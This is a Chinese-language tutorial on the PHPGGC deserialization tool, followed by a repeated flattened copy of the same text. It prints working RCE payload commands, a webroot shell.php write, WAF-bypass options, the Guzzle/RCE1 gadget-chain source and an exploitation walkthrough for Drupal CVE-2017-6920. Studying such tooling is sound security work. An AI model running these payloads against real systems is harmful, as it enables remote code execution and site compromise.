从0到1掌握反序列化工具之PHPGGC
字数 1426 2025-08-26 22:11:51

PHPGGC反序列化工具详解

1. PHPGGC工具概述

PHPGGC是一款能够自动生成主流PHP框架序列化测试payload的工具,是反序列化漏洞利用的"武器库"。

1.1 基本特性

  • 项目地址: https://github.com/ambionics/phpggc
  • 运行要求: PHP CLI版本 >= 5.6
  • 主要功能: 自动生成针对各种PHP框架和库的反序列化利用payload

1.2 基本命令

  • 列出所有可用组件: ./phpggc -l
    • 显示内容包括: 组件名称、版本范围、可利用操作(文件读写/RCE)、攻击向量(如__destruct)
  • 查看组件信息: ./phpggc 组件名 -i
    • 显示生成payload所需的参数信息

2. PHPGGC核心功能详解

2.1 基本payload生成

示例生成Laravel/RCE1的payload:

./phpggc Laravel/RCE1 system id

2.2 文件写入功能

当组件只能满足写文件需求时,需要指定:

  • 目标网站绝对路径
  • 要写入的文件名
  • 本地文件路径

示例:

./phpggc -w /var/www/html shell.php /tmp/data

2.3 数据包装处理

PHPGGC提供-w参数对序列化数据进行二次包装处理:

2.3.1 序列化前处理

当需要更改序列化对象结构时,可使用process_object函数。

示例场景:

<?php
$data = unserialize($_GET['data']);
print $data['message'];

处理脚本示例(/tmp/w.php):

<?php
function process_object($object) {
    return array('message' => $object);
}

2.3.2 序列化后处理

可对生成的序列化数据进行字符串替换等操作。

示例将"id"替换为"ls":

./phpggc -s id:ls ...

2.4 编码功能

支持对payload进行多种编码:

  • Base64编码: -b
  • URL编码: -u (可多次使用)

示例:

./phpggc -b -u -u slim/rce1 system id

2.5 快速反序列化

使用-f参数可在unserialize()后立即销毁对象,而非等待脚本结束。

2.6 WAF绕过技术

使用--plus-numbers可在数字前添加"+"绕过正则检测:

  • 例如将O:123改为O:+123
  • 可指定数据类型: O(PHP对象), i(int)等

3. PHPGGC实战分析

3.1 环境准备

示例漏洞: CVE-2017-6920 (Drupal YAML解析器RCE)

3.2 Guzzle/RCE1组件分析

3.2.1 chain.php分析

<?php
namespace GadgetChain\Guzzle;
class RCE1 extends \PHPGGC\GadgetChain\RCE {
    public static $version = '6.0.0 <= 6.3.2';
    public static $vector = '__destruct';
    public static $author = 'proclnas';
    public static $informations = '...';
    
    public function generate(array $parameters) {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];
        
        return new \GuzzleHttp\Psr7\FnStream([
            'close' => [
                new \GuzzleHttp\HandlerStack($function, $parameter),
                'resolve'
            ]
        ]);
    }
}

3.2.2 gadgets.php分析

<?php
namespace Psr\Http\Message {
    interface StreamInterface {}
}

namespace GuzzleHttp\Psr7 {
    class FnStream implements \Psr\Http\Message\StreamInterface {
        private $methods;
        
        public function __construct(array $methods) {
            $this->methods = $methods;
            foreach ($methods as $name => $fn) {
                $this->{'_fn_' . $name} = $fn;
            }
        }
        
        public function __destruct() {
            if (isset($this->_fn_close)) {
                call_user_func($this->_fn_close);
            }
        }
    }
}

namespace GuzzleHttp {
    class HandlerStack {
        private $handler;
        private $stack;
        private $cached = false;
        
        function __construct($function, $parameter) {
            $this->stack = [[$function]];
            $this->handler = $parameter;
        }
        
        public function resolve() {
            if (!$this->cached) {
                if (!($prev = $this->handler)) {
                    throw new \LogicException('No handler has been specified');
                }
                
                foreach (array_reverse($this->stack) as $fn) {
                    $prev = $fn[0]($prev);
                }
                
                $this->cached = $prev;
            }
            return $this->cached;
        }
    }
}

3.2.3 调用链分析

  1. FnStream__destruct()调用call_user_func($this->_fn_close)
  2. $this->_fn_close[new HandlerStack($function,$parameter), 'resolve']
  3. HandlerStack::resolve()方法中:
    • $prev初始化为$this->handler(即参数)
    • 遍历$this->stack(包含函数名)
    • 最终形成$function($parameter)调用

3.2.4 实际利用

  1. 生成payload:
./phpggc Guzzle/RCE1 system id -s
  1. 处理空字节(转义):
<?php echo addslashes(file_get_contents('payload.txt')); ?>
  1. 添加YAML标签:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":..."

4. 总结

PHPGGC作为反序列化漏洞利用的强大工具,具有以下特点:

  1. 支持多种PHP框架和库
  2. 提供灵活的payload生成和定制选项
  3. 包含多种编码和绕过技术
  4. 详细的组件信息和版本支持说明

使用时需要注意:

  • 目标系统的PHP版本和组件版本
  • 可利用的攻击向量(__destruct, __wakeup等)
  • 必要的参数和上下文环境
  • 可能的WAF绕过需求
PHPGGC反序列化工具详解 1. PHPGGC工具概述 PHPGGC是一款能够自动生成主流PHP框架序列化测试payload的工具,是反序列化漏洞利用的"武器库"。 1.1 基本特性 项目地址: https://github.com/ambionics/phpggc 运行要求: PHP CLI版本 >= 5.6 主要功能: 自动生成针对各种PHP框架和库的反序列化利用payload 1.2 基本命令 列出所有可用组件: ./phpggc -l 显示内容包括: 组件名称、版本范围、可利用操作(文件读写/RCE)、攻击向量(如 __destruct ) 查看组件信息: ./phpggc 组件名 -i 显示生成payload所需的参数信息 2. PHPGGC核心功能详解 2.1 基本payload生成 示例生成Laravel/RCE1的payload: 2.2 文件写入功能 当组件只能满足写文件需求时,需要指定: 目标网站绝对路径 要写入的文件名 本地文件路径 示例: 2.3 数据包装处理 PHPGGC提供 -w 参数对序列化数据进行二次包装处理: 2.3.1 序列化前处理 当需要更改序列化对象结构时,可使用 process_object 函数。 示例场景: 处理脚本示例( /tmp/w.php ): 2.3.2 序列化后处理 可对生成的序列化数据进行字符串替换等操作。 示例将"id"替换为"ls": 2.4 编码功能 支持对payload进行多种编码: Base64编码: -b URL编码: -u (可多次使用) 示例: 2.5 快速反序列化 使用 -f 参数可在 unserialize() 后立即销毁对象,而非等待脚本结束。 2.6 WAF绕过技术 使用 --plus-numbers 可在数字前添加"+"绕过正则检测: 例如将 O:123 改为 O:+123 可指定数据类型: O(PHP对象), i(int)等 3. PHPGGC实战分析 3.1 环境准备 示例漏洞: CVE-2017-6920 (Drupal YAML解析器RCE) 3.2 Guzzle/RCE1组件分析 3.2.1 chain.php分析 3.2.2 gadgets.php分析 3.2.3 调用链分析 FnStream 的 __destruct() 调用 call_user_func($this->_fn_close) $this->_fn_close 是 [new HandlerStack($function,$parameter), 'resolve'] HandlerStack::resolve() 方法中: $prev 初始化为 $this->handler (即参数) 遍历 $this->stack (包含函数名) 最终形成 $function($parameter) 调用 3.2.4 实际利用 生成payload: 处理空字节(转义): 添加YAML标签: 4. 总结 PHPGGC作为反序列化漏洞利用的强大工具,具有以下特点: 支持多种PHP框架和库 提供灵活的payload生成和定制选项 包含多种编码和绕过技术 详细的组件信息和版本支持说明 使用时需要注意: 目标系统的PHP版本和组件版本 可利用的攻击向量( __destruct , __wakeup 等) 必要的参数和上下文环境 可能的WAF绕过需求